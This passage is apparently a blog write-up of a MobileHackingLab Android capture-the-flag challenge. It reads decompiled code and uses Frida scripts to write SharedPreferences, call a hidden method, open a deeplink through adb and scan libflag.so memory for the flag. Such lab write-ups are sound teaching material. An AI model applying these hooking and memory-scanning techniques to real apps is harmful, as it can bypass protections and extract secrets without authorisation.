<li><p>Our goal is to somehow make the if condition true, because SharedPreferences value was definitely null, lets check if cd() returns null somehow.</p>
</li>
</ul>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> String <span class="hljs-title">cd</span><span class="hljs-params">()</span> </span>{
        SimpleDateFormat sdf = <span class="hljs-keyword">new</span> SimpleDateFormat(<span class="hljs-string">"dd/MM/yyyy"</span>, Locale.getDefault());
        String str = sdf.format(<span class="hljs-keyword">new</span> Date());
        Intrinsics.checkNotNullExpressionValue(str, <span class="hljs-string">"format(...)"</span>);
        Activity2Kt.cu_d = str;
        String str2 = Activity2Kt.cu_d;
        <span class="hljs-keyword">if</span> (str2 != <span class="hljs-keyword">null</span>) {
            <span class="hljs-keyword">return</span> str2;
        }
        Intrinsics.throwUninitializedPropertyAccessException(<span class="hljs-string">"cu_d"</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
    }
</code></pre>
<p>The <code>cd()</code> function returns today's date in dd/MM/yyyy format, and does not return null in any way for sure. Now we are left with only one option, the if condition would be set to true only when in SharedPreferences current date is stored as the above format. I searched the project for the DAD4 keyword to see if there is anywhere else the SharedPreferences was being set to. I found this in MainActivity</p>
<pre><code class="lang-java"><span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">void</span> <span class="hljs-title">KLOW</span><span class="hljs-params">()</span> </span>{
    SharedPreferences sharedPreferences = getSharedPreferences(<span class="hljs-string">"DAD4"</span>, <span class="hljs-number">0</span>);
    SharedPreferences.Editor editor = sharedPreferences.edit();
    SimpleDateFormat sdf = <span class="hljs-keyword">new</span> SimpleDateFormat(<span class="hljs-string">"dd/MM/yyyy"</span>, Locale.getDefault());
    String cu_d = sdf.format(<span class="hljs-keyword">new</span> Date());
    editor.putString(<span class="hljs-string">"UUU0133"</span>, cu_d);
    editor.apply();
}
</code></pre>
<p>So the SharedPreferences values were being stored from KLOW() but there were 0 usage for this function, hence we saw no SharedPreferences were being set, u1 was therefore always null and the condition would always fail.</p>
<p>Now we have two options, we could use Frida to set SharedPreferences value, given we know how the values will look like, for example something like this, this is a rough idea how it should work, not actual code.</p>
<pre><code class="lang-javascript">
Java.perform(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">var</span> Context = Java.use(<span class="hljs-string">"android.content.Context"</span>);
    <span class="hljs-keyword">var</span> ActivityThread = Java.use(<span class="hljs-string">"android.app.ActivityThread"</span>);
    <span class="hljs-keyword">var</span> currentApplication = ActivityThread.currentApplication();
    <span class="hljs-keyword">var</span> context = currentApplication.getApplicationContext();

    <span class="hljs-keyword">var</span> sharedPreferences = context.getSharedPreferences(<span class="hljs-string">"DAD4"</span>, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">var</span> editor = sharedPreferences.edit();

    <span class="hljs-keyword">var</span> SimpleDateFormat = Java.use(<span class="hljs-string">"java.text.SimpleDateFormat"</span>);
    <span class="hljs-keyword">var</span> <span class="hljs-built_in">Date</span> = Java.use(<span class="hljs-string">"java.util.Date"</span>);
    <span class="hljs-keyword">var</span> Locale = Java.use(<span class="hljs-string">"java.util.Locale"</span>);

    <span class="hljs-keyword">var</span> sdf = SimpleDateFormat.$new(<span class="hljs-string">"dd/MM/yyyy"</span>, Locale.getDefault());
    <span class="hljs-keyword">var</span> currentDate = sdf.format(<span class="hljs-built_in">Date</span>.$new());

    editor.putString(<span class="hljs-string">"UUU0133"</span>, currentDate);
    editor.apply();
});
</code></pre>
<p><strong>OR we could make KLOW() execute!</strong></p>
<p>We don't need the app to call KLOW() - we could just call it with Frida. My first attempt was using Java.choose() to find an existing MainActivity instance and call the method:</p>
<pre><code class="lang-javascript">Java.perform(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
        Java.choose(<span class="hljs-string">"com.mobilehackinglab.challenge.MainActivity"</span>, {
            <span class="hljs-attr">onMatch</span>: <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">instance</span>) </span>{
                instance.KLOW();
            },
            <span class="hljs-attr">onComplete</span>: <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{}
        });
    }, <span class="hljs-number">1000</span>);
});
</code></pre>
<p>What this does is hook into the MainActivity and executes the KLOW() function, thereby writing the SharedPreferences value.</p>
<p>This hook can be executed using this command <code>frida -U -f com.mobilehackinglab.challenge -l script.js</code></p>
<p>Once SharedPreferences values were set, I checked the path and saw the DAD4.xml file with the value</p>
<pre><code class="lang-javascript">d2s:<span class="hljs-regexp">/ # cd /</span>data/data/com.mobilehackinglab.challenge/shared_prefs
<span class="hljs-attr">d2s</span>:<span class="hljs-regexp">/data/</span>data/com.mobilehackinglab.challenge/shared_prefs # ls
DAD4.xml
<span class="hljs-attr">d2s</span>:<span class="hljs-regexp">/data/</span>data/com.mobilehackinglab.challenge/shared_prefs # cat DAD4.xml
&lt;?xml version=<span class="hljs-string">'1.0'</span> encoding=<span class="hljs-string">'utf-8'</span> standalone=<span class="hljs-string">'yes'</span> ?&gt;
<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">map</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">string</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"UUU0133"</span>&gt;</span>22/01/2026<span class="hljs-tag">&lt;/<span class="hljs-name">string</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">map</span>&gt;</span></span>
d2s:<span class="hljs-regexp">/data/</span>data/com.mobilehackinglab.challenge/shared_prefs #
</code></pre>
<p>Now the if condition was true and if you open the deeplink again, you see the activity once again closes because if you check the code</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">if</span> (isActionView &amp;&amp; isU1Matching) {
            Uri uri = getIntent().getData();
            <span class="hljs-keyword">if</span> (uri != <span class="hljs-literal">null</span> &amp;&amp; Intrinsics.areEqual(uri.getScheme(), <span class="hljs-string">"mhl"</span>) &amp;&amp; Intrinsics.areEqual(uri.getHost(), <span class="hljs-string">"labs"</span>)) {
                <span class="hljs-built_in">String</span> base64Value = uri.getLastPathSegment();
                byte[] decodedValue = Base64.decode(base64Value, <span class="hljs-number">0</span>);
                <span class="hljs-keyword">if</span> (decodedValue != <span class="hljs-literal">null</span>) {
                    <span class="hljs-built_in">String</span> ds = <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(decodedValue, Charsets.UTF_8);
                    byte[] bytes = <span class="hljs-string">"your_secret_key_1234567890123456"</span>.getBytes(Charsets.UTF_8);
                    Intrinsics.checkNotNullExpressionValue(bytes, <span class="hljs-string">"this as java.lang.String).getBytes(charset)"</span>);
                    <span class="hljs-built_in">String</span> str = decrypt(<span class="hljs-string">"AES/CBC/PKCS5Padding"</span>, <span class="hljs-string">"bqGrDKdQ8zo26HflRsGvVA=="</span>, <span class="hljs-keyword">new</span> SecretKeySpec(bytes, <span class="hljs-string">"AES"</span>));
                    <span class="hljs-keyword">if</span> (str.equals(ds)) {
                        System.loadLibrary(<span class="hljs-string">"flag"</span>);
                        <span class="hljs-built_in">String</span> s = getflag();
                        Toast.makeText(getApplicationContext(), s, <span class="hljs-number">1</span>).show();
                        <span class="hljs-keyword">return</span>;
                    } <span class="hljs-keyword">else</span> {
                        finishAffinity();
                        finish();
                        System.exit(<span class="hljs-number">0</span>);
                        <span class="hljs-keyword">return</span>;
                    }
                }
                finishAffinity();
                finish();
                System.exit(<span class="hljs-number">0</span>);
                <span class="hljs-keyword">return</span>;
            }
</code></pre>
<p>Even if the first condition match, there is this line that is checking the lastPathSegment of the deeplink URI</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">String</span> base64Value = uri.getLastPathSegment();
byte[] decodedValue = Base64.decode(base64Value, <span class="hljs-number">0</span>); <span class="hljs-comment">//indicates the value is b64 of something</span>
</code></pre>
<p><code>getLastPathSegment()</code> returns the last segment of the uri, for example if the uri is <code>mhl://labs/helloworld</code>, then the helloworld would be returned as <code>getLastPathSegment()</code></p>
<p>This block is probably the most compelling part</p>
<pre><code class="lang-javascript"> <span class="hljs-built_in">String</span> str = decrypt(<span class="hljs-string">"AES/CBC/PKCS5Padding"</span>, <span class="hljs-string">"bqGrDKdQ8zo26HflRsGvVA=="</span>, <span class="hljs-keyword">new</span> SecretKeySpec(bytes, <span class="hljs-string">"AES"</span>));
                    <span class="hljs-keyword">if</span> (str.equals(ds)) {
                        System.loadLibrary(<span class="hljs-string">"flag"</span>);
                        <span class="hljs-built_in">String</span> s = getflag();
                        Toast.makeText(getApplicationContext(), s, <span class="hljs-number">1</span>).show();
                        <span class="hljs-keyword">return</span>;
                    }
</code></pre>
<p>Here, it is doing AES decryption of <code>bqGrDKdQ8zo26HflRsGvVA==</code> and the flag would be loaded only when our b64(lastPathSegment) == aes_decryption(“bqGrDKdQ8zo26HflRsGvVA==“)</p>
<p>Lets check the function that does decryption</p>
<pre><code class="lang-javascript">public final <span class="hljs-built_in">String</span> decrypt(<span class="hljs-built_in">String</span> algorithm, <span class="hljs-built_in">String</span> cipherText, SecretKeySpec key) throws BadPaddingException, NoSuchPaddingException, IllegalBlockSizeException, NoSuchAlgorithmException, InvalidKeyException, InvalidAlgorithmParameterException {
        Intrinsics.checkNotNullParameter(algorithm, <span class="hljs-string">"algorithm"</span>);
        Intrinsics.checkNotNullParameter(cipherText, <span class="hljs-string">"cipherText"</span>);
        Intrinsics.checkNotNullParameter(key, <span class="hljs-string">"key"</span>);
        Cipher cipher = Cipher.getInstance(algorithm);
        <span class="hljs-keyword">try</span> {
            byte[] bytes = Activity2Kt.fixedIV.getBytes(Charsets.UTF_8);
            Intrinsics.checkNotNullExpressionValue(bytes, <span class="hljs-string">"this as java.lang.String).getBytes(charset)"</span>);
            IvParameterSpec ivSpec = <span class="hljs-keyword">new</span> IvParameterSpec(bytes);
            cipher.init(<span class="hljs-number">2</span>, key, ivSpec);
            byte[] decodedCipherText = Base64.decode(cipherText, <span class="hljs-number">0</span>);
            byte[] decrypted = cipher.doFinal(decodedCipherText);
            Intrinsics.checkNotNull(decrypted);
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(decrypted, Charsets.UTF_8);
        } <span class="hljs-keyword">catch</span> (Exception e) {
            <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> RuntimeException(<span class="hljs-string">"Decryption failed"</span>, e);
        }
    }
</code></pre>
<p>If you check this line, <code>Activity2Kt.fixedIV</code> it is getting the IV values from Activity2Kt, which is this</p>
<pre><code class="lang-javascript">public final <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Activity2Kt</span> </span>{
    private <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> cu_d = <span class="hljs-literal">null</span>;
    public <span class="hljs-keyword">static</span> final <span class="hljs-built_in">String</span> fixedIV = <span class="hljs-string">"1234567890123456"</span>;
}
</code></pre>
<p>So we have everything to decrypt this aes value</p>
<ul>
<li><p>algorithm,</p>
</li>
<li><p>cipherText,</p>
</li>
<li><p>SecretKey,</p>
</li>
<li><p>IV</p>
</li>
</ul>
<p>I used this website <a target="_blank" href="https://anycript.com/crypto">https://anycript.com/crypto</a> to do so,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769071610278/bb966d17-5c58-44a4-8ebb-1512ebc2a15a.png" alt class="image--center mx-auto" /></p>
<p>So the decrypted string is “mhl_secret_1337“. If you remember the <code>getLastPathSegment()</code> was also being base64 encoded, hence our uri becomes</p>
<pre><code class="lang-javascript">mhl:<span class="hljs-comment">//labs/base64(mhl_secret_1337)</span>
</code></pre>
<p>Now lets open the activity again using the new deeplink, replace that base64(mhl_secret_1337) with actual values</p>
<pre><code class="lang-javascript">   adb shell am start -a android.intent.action.VIEW -d <span class="hljs-string">"mhl://labs/bWhsX3NlY3JldF8xMzM3"</span>
</code></pre>
<p>The activity opens with success toast message. When you closely check the code,</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">String</span> s = getflag();
Toast.makeText(getApplicationContext(), s, <span class="hljs-number">1</span>).show();
</code></pre>
<p>This is funny, I thought the flag would be on the toast, but MHL made it fun by only returning success from the getflag()!</p>
<p>So getflag() is returning "success"? That didn't seem right for a CTF flag. I thought maybe I should hook getflag() to see what it's actually returning. But even when I hook, I would surely get the same “success” as return value.</p>
<h2 id="heading-reading-the-hints-again">Reading The Hints Again</h2>
<p>That's when I re-read the challenge hints:</p>
<blockquote>
<p>"Utilize Frida for tracing or employ Frida's <strong>memory scanning</strong>" "Don't have to spend time on static analysis of the Android library, as the code is obfuscated"</p>
</blockquote>
<p>They're telling not to try to reverse engineer or trace the native library. It's obfuscated anyway. The flag string has to exist somewhere in memory - probably hardcoded in the library and maybe I should just scan for it.</p>
<p>So I wrote this in Frida</p>
<pre><code class="lang-javascript">Java.perform(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">var</span> <span class="hljs-built_in">module</span> = Process.findModuleByName(<span class="hljs-string">"libflag.so"</span>);

    Memory.scan(<span class="hljs-built_in">module</span>.base, <span class="hljs-built_in">module</span>.size, <span class="hljs-string">"4D 48 4C 7B"</span>, {  <span class="hljs-comment">// "MHL{" in hex</span>
        <span class="hljs-attr">onMatch</span>: <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">address, size</span>) </span>{
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Found at: '</span> + address);
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Flag: '</span> + Memory.readUtf8String(address));
        },
        <span class="hljs-attr">onComplete</span>: <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Scan complete'</span>);
        }
    });
});
</code></pre>
<p>This is basically finding the module libflag, when it matches, scans the memory, and finds the one matching with the hex value as our flag MHL{ as instructed in the challenge description. You must trigger the deeplink first so that libflag.so loads into the memory, otherwise memory scan will not work.</p>
<p>And there it was. The actual flag, sitting in the library's memory.</p>
<p>Very fun to play with!</p>
<h2 id="heading-links-and-references-for-further-study">Links and References for further study</h2>
<ul>
<li><p><a target="_blank" href="https://developer.android.com/guide/components/activities/activity-lifecycle">Android Activity LifeCycle</a></p>
</li>
<li><p><a target="_blank" href="https://frida.re/docs/javascript-api/#:~:text=.-,Memory,-Memory.scan\(address">Frida Memory Scan</a></p>
</li>
<li><p><a target="_blank" href="https://medium.com/@orangecola3/memory-scanning-in-frida-frida-and-flutter-apps-3c1f4f6cc6ca">Memory Scanning in Frida</a></p>
</li>
</ul>
<p><em>Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.</em></p>
]]></content:encoded></item></channel></rss>